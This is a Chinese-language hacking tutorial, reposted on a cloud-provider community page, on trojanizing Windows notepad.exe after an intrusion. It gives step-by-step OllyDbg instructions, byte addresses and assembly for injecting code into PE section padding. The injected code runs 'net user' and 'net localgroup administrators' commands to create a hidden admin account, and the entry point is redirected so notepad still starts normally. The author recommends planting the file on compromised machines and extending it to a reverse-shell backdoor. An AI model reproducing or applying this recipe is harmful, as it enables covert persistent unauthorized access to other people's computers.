逆向工程打造隱蔽後門

來源:互聯網
上載者:User
逆向工程打造隱蔽後門
 

如果我現在問大家一個問題,入侵成功後我們該幹什嗎?相信大家都會異口同聲地回答:"裝後門!"不錯,為了保住勝利果實,我們總會四處尋找適合的後門。我們的要求並不過分———體積小、功能強大、隱蔽性強。然而前兩個要求還是比較容易實現的,最讓後門作者頭疼也讓使用者無奈的就是隱蔽性了。這次我給大家帶來的就是另類的方法打造自己的隱蔽後門。

前置小知識

  在繼續本前我們需要先瞭解點必要的知識.在WIN32下使用的檔案格式都是PE檔案格式。PE檔案是一個平面地址空間,所有代碼和資料都被合并在一起,組成一個很大的結構。檔案內容被分割成不同的區塊(section,又稱區段、節等),塊中包含代碼或資料,各個塊按頁邊界來對齊,塊沒有大小限制,是一個連續的結構。
每一個區塊都有不同的名字,這個名字用來表示區塊的功能。磁碟檔案中每個區塊的大小必定等於磁碟對齊值的整數倍,而區塊的實際代碼或資料的大小不一定剛好這麼多,所以在不足的地方一般以0x00來填充,這就是區塊的間隙。而對我們這篇文章來說,這就是關鍵。我們就是在這塊間隙上做文章,這塊間隙我們稱做"dead space"。
另外一個我們需要注意的問題就是在彙編中我們可以直接這樣來調用一個函數:
push 0
push "hello"
push "hello"
push 0
call user32.MessageBoxA

但是在機器碼中我們不能直接push一個字串,我們只能push這個字串所在的地址。比如:

01007D80   . 68 65 6C 6C 6F>ASCII "hello",0
01007D86   00         DB 00
01007D87   00         DB 00
01007D88   00         DB 00
01007D89   00         DB 00
01007D8A   00         DB 00
01007D8B   00         DB 00
01007D8C   00         DB 00
01007D8D   00         DB 00
01007D8E   00         DB 00
01007D8F   00         DB 00
01007D90   6A 00       PUSH 0
01007D92   68 807D0001   PUSH notepad.01007D80             ;注意這裡,我們push的是hello字串所在的地址
01007D97   68 807D0001   PUSH notepad.01007D80            
01007D9C   6A 00       PUSH 0
01007D9E   E8 D3E6D276   CALL USER32.MessageBoxA

好了,需要提前瞭解的地方就這些,下面我們該進入正題了。

打造實戰

先簡單說一下我們的思路,尋找一個系統內建的檔案,然後使用反組譯碼調試工具在其"dead space"中添加我們的後門代碼,然後對目標檔案進行必要的修改,使之啟動並執行同時也運行我們的後門代碼。下面我們以一個簡單的執行個體為大家示範。目標檔案我們定為系統內建的記事本上,為什麼選擇它呢?因為很多情況下大家會開啟txt文檔,而txt文檔預設的關聯程式正是記事本。
OK!下面準備好我們的主角 OllyDebug 1.10b 漢化版。選擇"檔案"→"開啟"找到c:/windows/system32/notepad.exe(我使用的是xp系統,其它系統大同小異,下面所有過程均以xp為平台講述),開啟後一。

大家注意到我用紅框框起的那個地址嗎?它被反黑顯示,把它記住,這個就是程式的進入點。拖動代碼視窗的捲軸,直到找到二所示的一長串"00"的地方,這個就是我前面提到過的"dead space",我們將在這裡添加我們自己的代碼。

[NextPage]

 

為了直觀起見,我們就讓程式簡單地實現添加一個後門管理帳戶的功能。實現此功能我們可以直接編程實現(這樣的方法是最好的,也是最隱形),也可以使用系統內建的外部命令來實現比如net命令(這個方法最簡單,但是在啟動並執行時候會有個cmd視窗一閃而過,隱蔽性太差),由於我寫本篇文章的目的是為了向大家介紹一種方法,所以我們就以最簡單的net命令方法來介紹。OK!回到olly上來,找到了"dead pace",我們隨便找個地址如01007D76,滑鼠左鍵單擊然後向下拉選擇一段(這裡要注意的是你要選擇足夠多的空間來儲存我們要輸入的命令),然後右鍵菜單選擇"二進位"→"編輯"三。

我們將在這裡編輯我們要執行的命令"net user mfm /add"和 "net localgroup administrators mfm /add"。我們分開來儲存這兩個命令(當然你完全可以用"&&"把兩個命令合成一個),如。確定後,出現五的情況。

似乎看不懂?沒關係我們按右鍵其代碼然後選擇"分析"→"分析代碼",或者直接按ctrl+A,六。

[NextPage]

 

哈哈,這才是我們想要的嘛。記住它的起始地址01007D76,然後按照同樣的方法添加第二條命令,最終添加的命令七。

同樣記住第二條命令的起始地址01007D90。
要執行的命令都添加完了,下一步該是如何執行這些命令了。我們可以利用msvcrt.dll 中的system函數來執行我們的命令。一般我們都是這樣使用system函數的:

#include    
void main(void)

{
    LoadLibrary("msvcrt.dll");
    system("net user mfm /add");
}

那麼我就得先看看notepad.exe是否載入了msvcrt.dll,如果沒有載入的話我們還需要添加載入動態串連庫的代碼.按下olly工具列的"E"按鈕或者直接按alt+E呼出模組可執行模組視窗,八.

看樣子是載入了,我們可以直接使用system函數了.
下面我們再從那些空間中任意選一個地址比如01007DD0(記住這個地址),滑鼠雙擊該地址所在行的"DB 00"處或者直接按空格,調出彙編編輯視窗. 然後將儲存我們要執行的第一條指令的地址壓入堆棧,九.

[NextPage]

 

然後依次寫入如下指令:

01007E93   E8 AC01BF76   CALL msvcrt.system   ;因為已經載入了msvcrt.dll,所以我可以直接調用
01007E98   68 907D0001   PUSH notepad.01007D90 ;這個地址就是我先前讓大家儲存的第二條命令的起始地址
01007E9D   E8 A201BF76   CALL msvcrt.system

輸入結果十。

下面我要回到程式的入口處,按右鍵任意代碼處然後選擇"前往"→"起源"回到程式入口處.現在我就要修改入口處的代碼了,我們將其替換成一個跳轉指令,跳到我們的執行代碼處,這樣就可以執行我們的代碼了.我們首先從入口處的代碼往後多選幾行然後右鍵選擇"複製"→"到剪下板"把這幾行代碼備份一下(為什麼要備份呢?因為我們不知道在修改代碼的時候會覆蓋掉哪些代碼,所以我們就備份一下那幾行),然後粘貼到記事本裡.十一.

[NextPage]

 

 OK!我們來修改代碼吧,雙擊入口處的"PUSH 70",出現彙編視窗,然後修改成"JMP 01007DDO"(這個地址熟悉嗎?什麼?忘了?仔細看看上面),確定後十二所示.

在"JMP 01007DD0"代碼上直接按斷行符號或者選擇右鍵菜單中的"跟隨",看看是不是跳到我們的代碼處了?這樣當程式啟動並執行話,一進入進入點就會跳轉到我們的代碼,但是這樣看來notepad.exe是不能正常運行了,因為跳轉到我們的代碼後就不會再去執行notepad.exe的代碼了.這不是不打自招嗎?那麼我們還要繼續修改,使它能執行完我們的代碼後再繼續去執行notepad的代碼.
  我們找出先前我們備份的那段代碼,對照著修改後的那些代碼,不難發現修改後的代碼把先前代碼的以下兩行給覆蓋了,其它的完全一樣:

01006AE0 > $ 6A 70       PUSH 70
01006AE2   . 68 88180001   PUSH notepad.01001888

那就好辦了,我們只要在我們要執行代碼的後面把以上兩行添加上,然後再添加一條跳轉指令,跳回到入口處的未修改代碼處,這樣就會繼續執行notepad.exe了。說幹就幹,先將覆蓋的代碼添加好,十三。

然後回到程式入口處,記住第二個NOP指令的地址(第一個NOP指令也可以,就是不要用那個入口地址,否則就成了個死迴圈了)01006AE6。然後再回到我們要執行的指令處,在其末尾添加一行"JMP 01006AE6",最終的完成代碼十四。

[NextPage]

 

代碼我們都寫好了,下面我們將修改後的程式dump到一個新的可執行檔裡。如下操作:右鍵任意代碼處選擇"複製到可執行檔"→"全部修正",十五。

在彈出的對話方塊中選擇"全部複製",然後會出現一個新的視窗,關閉這個視窗,會提示你是否儲存,選擇"是"出現儲存檔案對話方塊十六,儲存後就大功告成了。

運行一下看看,螢幕閃了兩次cmd視窗後記事本彈了出來(5555555,不能動態抓圖,所以無法給大家展示這瞬間的美麗了~~~)。用net user看後,確實添加了一個系統管理員帳戶mfm。實驗成功!

總結

如果你仔細點,會發現修改後的notepad和先前的那個大小依然一樣。這是因為我們所添加的那些代碼本身就是在notepad自身空間內的。將上面修改後的notepad.exe覆蓋肉雞上的notepad.exe,只要他開啟文字檔或者直接運行記事本都會先添加一個mfm帳戶了。當然了,我添加的那些代碼並不實用,彈出的cmd視窗會非常顯眼而引起懷疑。我們可以進一步最佳化這些代碼,甚至添加一個開連接埠或者反向串連的後門都可以(只要宿主程式"dead space"足夠大就可以)。
  可想而知,誰會去注意一個看上去是那麼正常的程式呢?而實際上這個程式確實已經被我們修改過了。這篇文章作為一個思路給大家,剩下的就靠大家去發揮了。有問題的讀者可以去X論壇討論。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.